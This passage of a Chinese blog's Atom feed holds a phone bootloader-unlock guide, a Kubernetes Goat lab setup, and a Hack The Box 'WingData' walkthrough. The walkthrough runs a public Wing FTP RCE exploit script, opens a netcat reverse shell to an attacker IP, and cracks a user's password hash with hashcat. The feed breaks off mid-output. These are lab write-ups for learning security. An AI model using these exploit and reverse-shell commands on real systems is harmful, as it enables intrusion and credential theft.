<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>相忘于江湖</title>
  
  <subtitle>人生天地之间，若白驹之过隙，忽然而已</subtitle>
  <link href="https://ry0ma24.github.io/atom.xml" rel="self"/>
  
  <link href="https://ry0ma24.github.io/"/>
  <updated>2026-04-13T06:41:13.995Z</updated>
  <id>https://ry0ma24.github.io/</id>
  
  <author>
    <name>Ry0ma24</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Moto edge 60 解锁刷机</title>
    <link href="https://ry0ma24.github.io/posts/29579189.html"/>
    <id>https://ry0ma24.github.io/posts/29579189.html</id>
    <published>2026-04-13T06:27:00.000Z</published>
    <updated>2026-04-13T06:41:13.995Z</updated>
    
    <content type="html"><![CDATA[<style>.lxuztgmjssee{zoom:50%;}</style><img src="/posts/29579189/image-20260413144029294.png" class="lxuztgmjssee" alt="moto edge 60"><span id="more"></span><h3 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h3><ol><li><p>手机打开开发者选项：【设置】-&gt;【关于本机】 -&gt;【设备标识符】-&gt; 【版本号】，连续点击7次 开启【开发者选项】，进入【设置】-&gt; 【系统】-&gt;【开发者选项】打开【USB调试】，打开【OEM解锁】</p></li><li><p>退出谷歌账号(重要)</p></li><li><p>安装摩托罗拉驱动：访问 <a href="https://en-us.support.motorola.com/app/usb-drivers">https://en-us.support.motorola.com/app/usb-drivers</a> 下载驱动并安装</p> <img src="/posts/29579189/image-20250912082326246.png" class=""></li><li><p>下载并解压 【Tiny-Fastboot-Script_v1.10.6_zh-CN_by_AlphaEva】</p> <img src="/posts/29579189/image-20250912202839729.png" class="" title="image-20250912202839729"></li></ol><h3 id="解锁Bootloader"><a href="#解锁Bootloader" class="headerlink" title="解锁Bootloader"></a>解锁Bootloader</h3><p>使用原装数据线连接电脑，关机状态下按住【音量下键】插数据线，进入Bootloader模式</p><p>进入Tiny-Fastboot-Script，双击运行flash.bat，选择【8】，再选择【4】获取解锁码</p><img src="/posts/29579189/image-20250912203622841.png" class="" title="image-20250912203622841"><p>复制解锁数据，然后选【1】打开解锁官网 </p><img src="/posts/29579189/image-20250912204705658.png" class="" title="image-20250912204705658"><p>使用谷歌账号登录，将复制的解锁数据贴进去，点击【Can my device be unlocked】，如果提示not qualify ，删除粘贴数据前后的空格，再请求一次即可。接受同意，然后按照步骤操作，成功后解锁码会发送到邮箱</p><img src="/posts/29579189/image-20250912205058909.png" class="" title="image-20250912205058909"><img src="/posts/29579189/image-20250912205445223.png" class="" title="image-20250912205445223"><img src="/posts/29579189/image-20250912205816032.png" class="" title="image-20250912205816032"><p>返回到Tiny-Fastboot-Script 选【4】，按照提示将解锁码贴进去解锁即可，手机提示，音量键 选择 <strong>UNLOCK THE BOOTLOADER</strong> ，电源键确定解锁</p><img src="/posts/29579189/image-20250912203717475.png" class="" title="image-20250912203717475"><img src="/posts/29579189/image-20250912205952666.png" class="" title="image-20250912205952666"><h3 id="刷机"><a href="#刷机" class="headerlink" title="刷机"></a>刷机</h3><p>解压刷机包，将所有文件都移动到Tiny-Fastboot-Script  目录下</p><img src="/posts/29579189/image-20250912211436735.png" class="" title="image-20250912211436735"><p>运行flash.bat 选择 【5】全量刷入，等待几分钟刷机完毕</p><img src="/posts/29579189/image-20250912210203186.png" class="" title="image-20250912210203186"><h3 id="切换软件更新通道"><a href="#切换软件更新通道" class="headerlink" title="切换软件更新通道"></a>切换软件更新通道</h3><p>切换欧版</p><pre class="language-cmd" data-language="cmd"><code class="language-cmd">fastboot oem config carrier reteu</code></pre><h3 id="开机"><a href="#开机" class="headerlink" title="开机"></a>开机</h3><p>可以正常接收到修改后的渠道更新</p><style>.yxeneqwsdqgs{zoom: 25%;}</style><img src="/posts/29579189/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250912212307_96_122.png" class="yxeneqwsdqgs" alt="微信图片_20250912212307_96_122"><style>.cnzazyyliomv{zoom: 25%;}</style><img src="/posts/29579189/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250912212306_95_122.png" class="cnzazyyliomv" alt="微信图片_20250912212306_95_122"><style>.rubjgixaqqmc{zoom:25%;}</style><img src="/posts/29579189/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250912214648_98_122-1775830313732-1.jpg" class="rubjgixaqqmc" alt="微信图片_20250912214648_98_122">]]></content>
    
    
    <summary type="html">&lt;style&gt;.lxuztgmjssee{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/29579189/image-20260413144029294.png&quot; class=&quot;lxuztgmjssee&quot; alt=&quot;moto edge 60&quot;&gt;</summary>
    
    
    
    <category term="刷欧版系统" scheme="https://ry0ma24.github.io/categories/%E5%88%B7%E6%AC%A7%E7%89%88%E7%B3%BB%E7%BB%9F/"/>
    
    
    <category term="解锁" scheme="https://ry0ma24.github.io/tags/%E8%A7%A3%E9%94%81/"/>
    
    <category term="刷机" scheme="https://ry0ma24.github.io/tags/%E5%88%B7%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>kubernetes-goat靶机搭建</title>
    <link href="https://ry0ma24.github.io/posts/d0b064d0.html"/>
    <id>https://ry0ma24.github.io/posts/d0b064d0.html</id>
    <published>2026-04-13T05:57:05.000Z</published>
    <updated>2026-04-13T06:13:31.131Z</updated>
    
    <content type="html"><![CDATA[<style>.nzmdxszviisu{zoom:50%;}</style><img src="/posts/d0b064d0/image-20260413140159229.png" class="nzmdxszviisu" alt="kubernetes-goat"><span id="more"></span><h3 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h3><table><thead><tr><th align="left">应用</th><th align="left">版本</th></tr></thead><tbody><tr><td align="left">RockyLinux</td><td align="left">10.1</td></tr><tr><td align="left">Docker</td><td align="left">29.4.0</td></tr><tr><td align="left">minikube</td><td align="left">1.38.1</td></tr><tr><td align="left">helm</td><td align="left">4.1.4</td></tr></tbody></table><h3 id="docker"><a href="#docker" class="headerlink" title="docker"></a>docker</h3><p>单机版的K8s 需要用docker</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># dnf -y install dnf-plugins-core git</span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo</span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># dnf install docker-ce docker-ce-cli  docker-buildx-plugin docker-compose-plugin</span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># systemctl start docker </span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># docker info</span>Client: Docker Engine - Community Version:    <span class="token number">29.4</span>.0 Context:    default Debug Mode: <span class="token boolean">false</span> Plugins:<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># systemctl enable docker  //设置开机自启</span></code></pre><h3 id="minikube"><a href="#minikube" class="headerlink" title="minikube"></a>minikube</h3><h4 id="安装minikube"><a href="#安装minikube" class="headerlink" title="安装minikube"></a>安装minikube</h4><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-latest.x86_64.rpm</span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># rpm -Uvh minikube-latest.x86_64.rpm</span></code></pre><h4 id="启动minikube"><a href="#启动minikube" class="headerlink" title="启动minikube"></a>启动minikube</h4><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># minikube start --force</span>😄  minikube v1.38.1 on Rocky <span class="token number">10.1</span>❗  minikube skips various validations when <span class="token parameter variable">--force</span> is supplied<span class="token punctuation">;</span> this may lead to unexpected behavior✨  Automatically selected the <span class="token function">docker</span> driver. Other choices: ssh, none🛑  The <span class="token string">"docker"</span> driver should not be used with root privileges. If you wish to <span class="token builtin class-name">continue</span> as root, use --force.💡  If you are running minikube within a VM, consider using <span class="token parameter variable">--driver</span><span class="token operator">=</span>none:📘    https://minikube.sigs.k8s.io/docs/reference/drivers/none/❗  Starting v1.39.0, minikube will default to <span class="token string">"containerd"</span> container runtime. See <span class="token comment">#21973 for more info.</span>📌  Using Docker driver with root privileges👍  Starting <span class="token string">"minikube"</span> primary control-plane <span class="token function">node</span> <span class="token keyword">in</span> <span class="token string">"minikube"</span> cluster🚜  Pulling base image v0.0.50 <span class="token punctuation">..</span>.💾  Downloading Kubernetes v1.35.1 preload <span class="token punctuation">..</span>.    <span class="token operator">></span> preloaded-images-k8s-v18-v1<span class="token punctuation">..</span>.:  <span class="token number">272.45</span> MiB / <span class="token number">272.45</span> MiB  <span class="token number">100.00</span>% <span class="token number">5.76</span> Mi    <span class="token operator">></span> gcr.io/k8s-minikube/kicbase<span class="token punctuation">..</span>.:  <span class="token number">519.58</span> MiB / <span class="token number">519.58</span> MiB  <span class="token number">100.00</span>% <span class="token number">4.66</span> Mi🔥  Creating <span class="token function">docker</span> container <span class="token punctuation">(</span>CPUs<span class="token operator">=</span><span class="token number">2</span>, <span class="token assign-left variable">Memory</span><span class="token operator">=</span>3072MB<span class="token punctuation">)</span> <span class="token punctuation">..</span>.🐳  Preparing Kubernetes v1.35.1 on Docker <span class="token number">29.2</span>.1 <span class="token punctuation">..</span>.🔗  Configuring bridge CNI <span class="token punctuation">(</span>Container Networking Interface<span class="token punctuation">)</span> <span class="token punctuation">..</span>.🔎  Verifying Kubernetes components<span class="token punctuation">..</span>.    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5🌟  Enabled addons: storage-provisioner, default-storageclass💡  kubectl not found. If you need it, try: <span class="token string">'minikube kubectl -- get pods -A'</span>🏄  Done<span class="token operator">!</span> kubectl is now configured to use <span class="token string">"minikube"</span> cluster and <span class="token string">"default"</span> namespace by default</code></pre><h4 id="查看minikube-状态"><a href="#查看minikube-状态" class="headerlink" title="查看minikube 状态"></a>查看minikube 状态</h4><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost  ~<span class="token punctuation">]</span><span class="token comment"># minikube kubectl -- get pods -A</span>    <span class="token operator">></span> kubectl.sha256:  <span class="token number">64</span> B / <span class="token number">64</span> B <span class="token punctuation">[</span>-------------------------<span class="token punctuation">]</span> <span class="token number">100.00</span>% ? p/s 0s    <span class="token operator">></span> kubectl:  <span class="token number">55.88</span> MiB / <span class="token number">55.88</span> MiB <span class="token punctuation">[</span>-------------<span class="token punctuation">]</span> <span class="token number">100.00</span>% <span class="token number">9.87</span> MiB p/s <span class="token number">5</span>.9sNAMESPACE     NAME                               READY   STATUS    RESTARTS      AGEkube-system   coredns-7d764666f9-lq6vl           <span class="token number">1</span>/1     Running   <span class="token number">0</span>             76skube-system   etcd-minikube                      <span class="token number">1</span>/1     Running   <span class="token number">0</span>             82skube-system   kube-apiserver-minikube            <span class="token number">1</span>/1     Running   <span class="token number">0</span>             82skube-system   kube-controller-manager-minikube   <span class="token number">1</span>/1     Running   <span class="token number">0</span>             82skube-system   kube-proxy-xmq5q                   <span class="token number">1</span>/1     Running   <span class="token number">0</span>             77skube-system   kube-scheduler-minikube            <span class="token number">1</span>/1     Running   <span class="token number">0</span>             82skube-system   storage-provisioner                <span class="token number">1</span>/1     Running   <span class="token number">1</span> <span class="token punctuation">(</span>46s ago<span class="token punctuation">)</span>   <span class="token number">81</span></code></pre><h4 id="配置kubectl"><a href="#配置kubectl" class="headerlink" title="配置kubectl"></a>配置kubectl</h4><p>kubernetes-goat 需要使用kubectl，但是minikube使用 kubectl 命令为 <code>minikube kubectl</code> ，做个软链接即可</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># ln -s $(which minikube) /usr/local/bin/kubectl</span></code></pre><h3 id="helm"><a href="#helm" class="headerlink" title="helm"></a>helm</h3><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-4 | bash</span>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed<span class="token number">100</span> <span class="token number">11929</span>  <span class="token number">100</span> <span class="token number">11929</span>    <span class="token number">0</span>     <span class="token number">0</span>  <span class="token number">17516</span>      <span class="token number">0</span> --:--:-- --:--:-- --:--:-- <span class="token number">17516</span>Downloading https://get.helm.sh/helm-v4.1.4-linux-amd64.tar.gzVerifying checksum<span class="token punctuation">..</span>. Done.Preparing to <span class="token function">install</span> helm into /usr/local/binhelm installed into /usr/local/bin/helm</code></pre><h3 id="kubernetes-goat"><a href="#kubernetes-goat" class="headerlink" title="kubernetes-goat"></a>kubernetes-goat</h3><h4 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h4><p>第一次安装会报错  The Deployment “health-check-deployment” is invalid: spec.template.spec.initContainers[0].volumeMounts[1].name: Not found: “socket-link”</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># ./setup-kubernetes-goat.sh </span>kubectl setup looks good.deploying insecure super admin scenarioserviceaccount/superadmin unchangedclusterrolebinding.rbac.authorization.k8s.io/superadmin unchangeddeploying helm chart metadata-db scenarioNAME: metadata-dbLAST DEPLOYED: Sun Apr <span class="token number">12</span> 01:42:54 <span class="token number">2026</span>NAMESPACE: defaultSTATUS: deployedREVISION: <span class="token number">1</span>DESCRIPTION: Install completeNOTES:<span class="token number">1</span>. Get the application URL by running these commands:  <span class="token builtin class-name">export</span> <span class="token assign-left variable">POD_NAME</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>kubectl get pods <span class="token parameter variable">--namespace</span> default <span class="token parameter variable">-l</span> <span class="token string">"app.kubernetes.io/name=metadata-db,app.kubernetes.io/instance=metadata-db"</span> <span class="token parameter variable">-o</span> <span class="token assign-left variable">jsonpath</span><span class="token operator">=</span><span class="token string">"&#123;.items[0].metadata.name&#125;"</span><span class="token variable">)</span></span>  <span class="token builtin class-name">echo</span> <span class="token string">"Visit http://127.0.0.1:8080 to use your application"</span>  kubectl port-forward <span class="token variable">$POD_NAME</span> <span class="token number">8080</span>:80deploying the vulnerable scenarios manifestsjob.batch/batch-check-job unchangeddeployment.apps/build-code-deployment unchangedservice/build-code-service unchangednamespace/secure-middleware unchangedservice/cache-store-service unchangeddeployment.apps/cache-store-deployment unchangedservice/health-check-service unchangedThe Deployment <span class="token string">"health-check-deployment"</span> is invalid: spec.template.spec.initContainers<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>.volumeMounts<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>.name: Not found: <span class="token string">"socket-link"</span>namespace/big-monolith unchangedrole.rbac.authorization.k8s.io/secret-reader unchangedrolebinding.rbac.authorization.k8s.io/secret-reader-binding unchangedserviceaccount/big-monolith-sa unchangedsecret/vaultapikey unchangedsecret/webhookapikey unchangeddeployment.apps/hunger-check-deployment unchangedservice/hunger-check-service unchangeddeployment.apps/internal-proxy-deployment unchangedservice/internal-proxy-api-service unchangedservice/internal-proxy-info-app-service unchangeddeployment.apps/kubernetes-goat-home-deployment unchangedservice/kubernetes-goat-home-service unchangeddeployment.apps/poor-registry-deployment unchangedservice/poor-registry-service unchangedsecret/goatvault unchangeddeployment.apps/system-monitor-deployment unchangedservice/system-monitor-service unchangedjob.batch/hidden-in-layers unchangedSuccessfully deployed Kubernetes Goat. Have fun learning Kubernetes Security<span class="token operator">!</span>Ensure pods are <span class="token keyword">in</span> running status before running access-kubernetes-goat.sh scriptNow run the <span class="token function">bash</span> access-kubernetes-goat.sh to access the Kubernetes Goat environment.</code></pre><h4 id="问题解决"><a href="#问题解决" class="headerlink" title="问题解决"></a>问题解决</h4><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># cd /root/kubernetes-goat/scenarios/health-check</span><span class="token punctuation">[</span>root@localhost ~<span class="token punctuation">]</span><span class="token comment"># sed -i '/socket-link/d' deployment.yaml </span><span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># helm list --all-namespaces</span>NAME            NAMESPACE       REVISION        UPDATED                                 STATUS      CHART                    APP VERSIONmetadata-db     default         <span class="token number">1</span>               <span class="token number">2026</span>-04-12 01:42:54.41527795 +0800 CST  deployed    metadata-db-0.1.0        <span class="token number">1.0</span>        <span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># helm uninstall metadata-db //卸载残留文件</span>release <span class="token string">"metadata-db"</span> uninstalled<span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># ./setup-kubernetes-goat.sh  //重新安装</span>kubectl setup looks good.deploying insecure super admin scenarioserviceaccount/superadmin unchangedclusterrolebinding.rbac.authorization.k8s.io/superadmin unchangeddeploying helm chart metadata-db scenarioNAME: metadata-dbLAST DEPLOYED: Sun Apr <span class="token number">12</span> 01:49:55 <span class="token number">2026</span>NAMESPACE: defaultSTATUS: deployedREVISION: <span class="token number">1</span>DESCRIPTION: Install completeNOTES:<span class="token number">1</span>. Get the application URL by running these commands:  <span class="token builtin class-name">export</span> <span class="token assign-left variable">POD_NAME</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>kubectl get pods <span class="token parameter variable">--namespace</span> default <span class="token parameter variable">-l</span> <span class="token string">"app.kubernetes.io/name=metadata-db,app.kubernetes.io/instance=metadata-db"</span> <span class="token parameter variable">-o</span> <span class="token assign-left variable">jsonpath</span><span class="token operator">=</span><span class="token string">"&#123;.items[0].metadata.name&#125;"</span><span class="token variable">)</span></span>  <span class="token builtin class-name">echo</span> <span class="token string">"Visit http://127.0.0.1:8080 to use your application"</span>  kubectl port-forward <span class="token variable">$POD_NAME</span> <span class="token number">8080</span>:80deploying the vulnerable scenarios manifestsjob.batch/batch-check-job unchangeddeployment.apps/build-code-deployment unchangedservice/build-code-service unchangednamespace/secure-middleware unchangedservice/cache-store-service unchangeddeployment.apps/cache-store-deployment unchangeddeployment.apps/health-check-deployment unchangedservice/health-check-service unchangednamespace/big-monolith unchangedrole.rbac.authorization.k8s.io/secret-reader unchangedrolebinding.rbac.authorization.k8s.io/secret-reader-binding unchangedserviceaccount/big-monolith-sa unchangedsecret/vaultapikey unchangedsecret/webhookapikey unchangeddeployment.apps/hunger-check-deployment unchangedservice/hunger-check-service unchangeddeployment.apps/internal-proxy-deployment unchangedservice/internal-proxy-api-service unchangedservice/internal-proxy-info-app-service unchangeddeployment.apps/kubernetes-goat-home-deployment unchangedservice/kubernetes-goat-home-service unchangeddeployment.apps/poor-registry-deployment unchangedservice/poor-registry-service unchangedsecret/goatvault unchangeddeployment.apps/system-monitor-deployment unchangedservice/system-monitor-service unchangedjob.batch/hidden-in-layers unchangedSuccessfully deployed Kubernetes Goat. Have fun learning Kubernetes Security<span class="token operator">!</span>Ensure pods are <span class="token keyword">in</span> running status before running access-kubernetes-goat.sh scriptNow run the <span class="token function">bash</span> access-kubernetes-goat.sh to access the Kubernetes Goat environment.</code></pre><h4 id="端口转发"><a href="#端口转发" class="headerlink" title="端口转发"></a>端口转发</h4><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># chmod +x access-kubernetes-goat.sh </span><span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># ./access-kubernetes-goat.sh </span>kubectl setup looks good.Creating port forward <span class="token keyword">for</span> all the Kubernetes Goat resources to locally. We will be using <span class="token number">1230</span> to <span class="token number">1236</span> ports locally<span class="token operator">!</span>Visit http://127.0.0.1:1234 to get started with your Kubernetes Goat hacking<span class="token operator">!</span><span class="token punctuation">[</span>root@localhost kubernetes-goat<span class="token punctuation">]</span><span class="token comment"># systemctl stop firewalld</span></code></pre><h3 id="搭建完成"><a href="#搭建完成" class="headerlink" title="搭建完成"></a>搭建完成</h3><img src="/posts/d0b064d0/image-20260412141744115.png" class="" title="kubernetes-goat">]]></content>
    
    
    <summary type="html">&lt;style&gt;.nzmdxszviisu{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/d0b064d0/image-20260413140159229.png&quot; class=&quot;nzmdxszviisu&quot; alt=&quot;kubernetes-goat&quot;&gt;</summary>
    
    
    
    <category term="云安全" scheme="https://ry0ma24.github.io/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="k8s" scheme="https://ry0ma24.github.io/tags/k8s/"/>
    
    <category term="环境搭建" scheme="https://ry0ma24.github.io/tags/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    
  </entry>
  
  <entry>
    <title>HTB-WingData</title>
    <link href="https://ry0ma24.github.io/posts/1888ae71.html"/>
    <id>https://ry0ma24.github.io/posts/1888ae71.html</id>
    <published>2026-04-10T13:36:30.000Z</published>
    <updated>2026-04-10T13:38:54.715Z</updated>
    
    <content type="html"><![CDATA[<style>.pfbnbkdvnbsn{zoom:50%;}</style><img src="/posts/1888ae71/d419202507a3bbf06e764c1c4a524f66.png" class="pfbnbkdvnbsn" alt="htb-wingdata"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.129</span>.17.131 <span class="token parameter variable">-sV</span> <span class="token parameter variable">-Pn</span> --min-rate <span class="token number">1000</span>Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2026</span>-04-10 <span class="token number">19</span>:41 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.129</span>.17.131Host is up <span class="token punctuation">(</span><span class="token number">0</span>.22s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">998</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT   STATE SERVICE VERSION<span class="token number">22</span>/tcp <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">9</span>.2p1 Debian <span class="token number">2</span>+deb12u7 <span class="token punctuation">(</span>protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token number">80</span>/tcp <span class="token function">open</span>  http    Apache httpd <span class="token number">2.4</span>.66Service Info: Host: localhost<span class="token punctuation">;</span> OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">13.98</span> seconds</code></pre><p>添加本地域名解析</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.129.17.131 wingdata.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts </code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>访问80端口，右上角能获取到新的域名<code>ftp.wingdata.htb</code>，将新的域名添加本地解析</p><img src="/posts/1888ae71/image-20260410195232053.png" class="" title="ftp"><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.129.17.131 ftp.wingdata.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts</code></pre><p>访问新链接，获取到cms 信息</p><img src="/posts/1888ae71/image-20260410195346182.png" class="" title="ftp"><h3 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h3><p>根据获取到的版本检索到漏洞利用脚本 <a href="https://www.exploit-db.com/exploits/52347">https://www.exploit-db.com/exploits/52347</a> ，反弹shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ python3 <span class="token number">2025</span>-47812.py <span class="token parameter variable">-u</span> http://ftp.wingdata.htb <span class="token parameter variable">-c</span> <span class="token function">whoami</span><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Testing target: http://ftp.wingdata.htb<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Sending POST request to http://ftp.wingdata.htb/loginok.html with command: <span class="token string">'whoami'</span> and username: <span class="token string">'anonymous'</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> <span class="token environment constant">UID</span> extracted: d9e5466a599aa92011286a19e609424ff528764d624db129b32c21fbca0cb8d6<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Sending GET request to http://ftp.wingdata.htb/dir.html with <span class="token environment constant">UID</span><span class="token builtin class-name">:</span> d9e5466a599aa92011286a19e609424ff528764d624db129b32c21fbca0cb8d6--- Command Output ---wingftp----------------------$ python3 <span class="token number">2025</span>-47812.py <span class="token parameter variable">-u</span> http://ftp.wingdata.htb <span class="token parameter variable">-c</span> <span class="token string">"nc 10.10.16.49 7777 -e /bin/bash"</span>                                         <span class="token punctuation">[</span>*<span class="token punctuation">]</span> Testing target: http://ftp.wingdata.htb<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Sending POST request to http://ftp.wingdata.htb/loginok.html with command: <span class="token string">'nc 10.10.16.49 7777 -e /bin/bash'</span> and username: <span class="token string">'anonymous'</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> <span class="token environment constant">UID</span> extracted: 7d6e33a332dab18457f0feca7265825bf528764d624db129b32c21fbca0cb8d6<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Sending GET request to http://ftp.wingdata.htb/dir.html with <span class="token environment constant">UID</span><span class="token builtin class-name">:</span> 7d6e33a332dab18457f0feca7265825bf528764d624db129b32c21fbca0cb8d6</code></pre><h3 id="GetShell"><a href="#GetShell" class="headerlink" title="GetShell"></a>GetShell</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">7777</span>                             Listening on <span class="token number">0.0</span>.0.0 <span class="token number">7777</span>Connection received on <span class="token number">10.129</span>.17.131 <span class="token number">53468</span><span class="token function">ifconfig</span>eth0: <span class="token assign-left variable">flags</span><span class="token operator">=</span><span class="token number">416</span><span class="token operator"><span class="token file-descriptor important">3</span>&lt;</span>UP,BROADCAST,RUNNING,MULTICAST<span class="token operator">></span>  mtu <span class="token number">1500</span>        inet <span class="token number">10.129</span>.17.131  netmask <span class="token number">255.255</span>.0.0  broadcast <span class="token number">10.129</span>.255.255        ether 00:50:56:b9:49:65  txqueuelen <span class="token number">1000</span>  <span class="token punctuation">(</span>Ethernet<span class="token punctuation">)</span> <span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>python3 <span class="token parameter variable">-c</span> <span class="token string">'import pty;pty.spawn("/bin/bash")'</span>wingftp@wingdata:/opt/wftpserver$ <span class="token function">ls</span> /home wackywingftp@wingdata:/opt/wftpserver$ <span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>wingftp@wingdata:/opt/wftpserver/Data/1/users$ <span class="token function">ls</span>anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml</code></pre><h3 id="密码破解"><a href="#密码破解" class="headerlink" title="密码破解"></a>密码破解</h3><p>在目录<code>/opt/wftpserver/Data/1/users</code> 中wacky.xml中可以获取到wacky 密码</p><img src="/posts/1888ae71/image-20260410201837914.png" class="" title="image-20260410201837914"><p>使用hashcat 破解密码</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP'</span> <span class="token operator">></span> pass.txt$ hashcat <span class="token parameter variable">-m</span> <span class="token number">1410</span>  pass.txt  /opt/secLists/rockyou.txt                                      hashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> startingOpenCL API <span class="token punctuation">(</span>OpenCL <span class="token number">3.0</span> PoCL <span class="token number">5.0</span>+debian  Linux, None+Asserts, RELOC, SPIR, LLVM <span class="token number">16.0</span>.6, SLEEF, DISTRO, POCL_DEBUG<span class="token punctuation">)</span> - Platform <span class="token comment">#1 [The pocl project]</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token 